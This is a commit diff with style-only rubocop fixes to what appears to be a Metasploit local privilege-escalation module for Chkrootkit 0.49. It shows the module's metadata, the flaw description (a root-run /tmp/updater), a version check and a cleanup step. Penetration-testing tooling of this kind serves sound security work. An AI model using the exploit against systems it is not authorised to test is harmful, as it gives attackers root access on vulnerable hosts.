Fix some rubocop warnings

Author: jvoisin

modules/exploits/linux/local/chkrootkit.rb

@@ -13,22 +13,22 @@ class Metasploit4 < Msf::Exploit::Local
 
   include Msf::Exploit::Local::Linux
 
-  def initialize(info={})
-    super( update_info( info, {
+  def initialize(info = {})
+    super(update_info(info, {
       'Name'    => 'Chkrootkit 0.49 Local Privilege Escalation',
-      'Description'   => %q{
+      'Description'   => %q(
         Chkrootkit before 0.50 will run as root any executable file named
         /tmp/updater, allowing a trivial privsec.
 
         WfsDelay is set to 24h by default, since this is how often a chkrootkit
         scan is scheduled by default.
-      },
+      ),
       'License'     => MSF_LICENSE,
       'Author'  => [
         'Thomas Stangner', # original exploit
         'Julien (jvoisin) Voisin' # metasploit module
       ],
-      'Platform'    => %w{ bsd linux unix solaris osx},
+      'Platform'    => %w( bsd linux unix solaris osx),
       'SessionTypes'  => [ 'shell', 'meterpreter' ],
       'References'  =>
       [
@@ -37,26 +37,23 @@ def initialize(info={})
         [ 'CWE', '20' ],
         [ 'EDB', '33899' ],
         [ 'OSVDB', '107710' ],
-        [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ]
       ],
       'DisclosureDate' => "Jun 28 2014",
       'Arch'       => ARCH_CMD,
-      'DefaultOptions' => { 'WfsDelay' => 60*60*24 },
+      'DefaultOptions' => { 'WfsDelay' => 60 * 60 * 24 },
       'Privileged'   => true,
-      'Targets'     =>
-      [
-        [ 'Generic', {} ],
-      ],
+      'Targets'     => [[ 'Generic', {} ]],
       'Stance' => Msf::Exploit::Stance::Passive,
-      'DefaultTarget' => 0,}))
+      'DefaultTarget' => 0 }))
   end
 
   def check
     res = cmd_exec('/usr/sbin/chkrootkit -V')
     if res && res =~ /chkrootkit version 0\.[^5]/
-        Exploit::CheckCode::Appears
+      Exploit::CheckCode::Appears
     else
-        Exploit::CheckCode::Safe
+      Exploit::CheckCode::Safe
     end
   end
 
@@ -78,4 +75,3 @@ def exploit
     register_file_for_cleanup('/tmp/update')
   end
 end
-